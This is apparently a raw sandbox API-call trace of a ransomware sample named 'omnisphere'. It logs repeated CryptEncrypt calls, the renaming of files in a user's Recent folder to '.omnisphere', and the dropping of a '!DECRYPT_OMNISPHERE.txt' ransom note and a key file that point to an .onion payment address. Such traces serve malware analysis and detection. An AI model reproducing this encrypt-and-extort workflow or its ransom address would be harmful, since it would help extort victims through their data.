(in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.253] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.253] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.254] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.254] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.254] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.254] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.254] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.254] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.254] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.254] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.254] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.254] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.254] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.254] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.254] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.254] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.255] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.255] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.255] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.255] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.255] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.255] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.255] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.255] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.255] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.255] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.255] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.255] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.255] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.255] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.255] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.255] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.255] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.255] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.255] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.255] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.255] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.256] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.256] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.256] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.256] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.256] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.256] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.256] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.256] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.256] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.256] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.256] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.256] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.256] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.256] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.256] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.256] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.256] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.256] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.256] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.256] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.256] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.256] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.257] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.257] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.257] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.257] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.257] CryptDestroyKey (hKey=0x1639528) returned 1 [0120.257] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0120.257] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4a8, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0120.257] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0120.257] GetProcessHeap () returned 0x1600000 [0120.257] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ac) returned 0x16bdbc0 [0120.257] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HbXrYaf5k.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hbxryaf5k.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HbXrYaf5k.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hbxryaf5k.lnk.omnisphere")) returned 1 [0120.258] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HbXrYaf5k.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HbXrYaf5k.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HbXrYaf5k.lnk.omnisphere.id" [0120.258] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HbXrYaf5k.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hbxryaf5k.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0120.260] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0120.261] CloseHandle (hObject=0x3c0) returned 1 [0120.261] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0120.261] CloseHandle (hObject=0x288) returned 1 [0120.261] SetEndOfFile (hFile=0x28c) returned 1 [0120.261] FlushFileBuffers (hFile=0x28c) returned 1 [0120.267] CloseHandle (hObject=0x28c) returned 1 [0120.267] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HbXrYaf5k.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0120.267] GetProcessHeap () returned 0x1600000 [0120.267] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16c9018 [0120.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0120.267] GetProcessHeap () returned 0x1600000 [0120.267] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1d48 [0120.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1d48, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0120.268] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0120.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0120.268] GetProcessHeap () returned 0x1600000 [0120.268] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b01a8 [0120.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b01a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0120.268] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0120.268] GetProcessHeap () returned 0x1600000 [0120.268] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bfba0 [0120.268] PathCombineW (in: pszDest=0x16bfba0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0120.268] GetProcessHeap () returned 0x1600000 [0120.268] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16c2190 [0120.268] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.268] WriteFile (in: hFile=0x28c, lpBuffer=0x16c2190*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16c2190*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0120.268] CloseHandle (hObject=0x28c) returned 1 [0120.268] GetProcessHeap () returned 0x1600000 [0120.269] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16c9018 | out: hHeap=0x1600000) returned 1 [0120.269] GetProcessHeap () returned 0x1600000 [0120.269] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0120.269] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0120.269] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.269] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0120.269] CloseHandle (hObject=0x28c) returned 1 [0120.269] GetProcessHeap () returned 0x1600000 [0120.269] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0120.269] GetProcessHeap () returned 0x1600000 [0120.269] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16568c8 | out: hHeap=0x1600000) returned 1 [0120.269] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e8eb192, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e8eb192, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1e8eb192, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x34a, dwReserved0=0x0, dwReserved1=0xd3, cFileName="hHGe8VXor0p6BX.lnk", cAlternateFileName="HHGE8V~1.LNK")) returned 1 [0120.270] GetProcessHeap () returned 0x1600000 [0120.270] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0120.270] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="hHGe8VXor0p6BX.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hHGe8VXor0p6BX.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hHGe8VXor0p6BX.lnk" [0120.270] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0120.270] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hHGe8VXor0p6BX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hhge8vxor0p6bx.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.270] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=842) returned 1 [0120.270] GetTickCount () returned 0x115e0c7 [0120.270] GetTickCount () returned 0x115e0c7 [0120.270] GetTickCount () returned 0x115e0c7 [0120.270] GetTickCount () returned 0x115e0c7 [0120.270] GetTickCount () returned 0x115e0c7 [0120.270] GetTickCount () returned 0x115e0c7 [0120.270] GetTickCount () returned 0x115e0c7 [0120.270] GetTickCount () returned 0x115e0c7 [0120.270] GetTickCount () returned 0x115e0c7 [0120.270] GetTickCount () returned 0x115e0c7 [0120.270] GetTickCount () returned 0x115e0c7 [0120.270] GetTickCount () returned 0x115e0c7 [0120.270] GetTickCount () returned 0x115e0c7 [0120.270] GetTickCount () returned 0x115e0c7 [0120.271] GetTickCount () returned 0x115e0c7 [0120.271] GetTickCount () returned 0x115e0c7 [0120.271] GetTickCount () returned 0x115e0c7 [0120.271] GetTickCount () returned 0x115e0c7 [0120.271] GetTickCount () returned 0x115e0c7 [0120.271] GetTickCount () returned 0x115e0c7 [0120.271] GetTickCount () 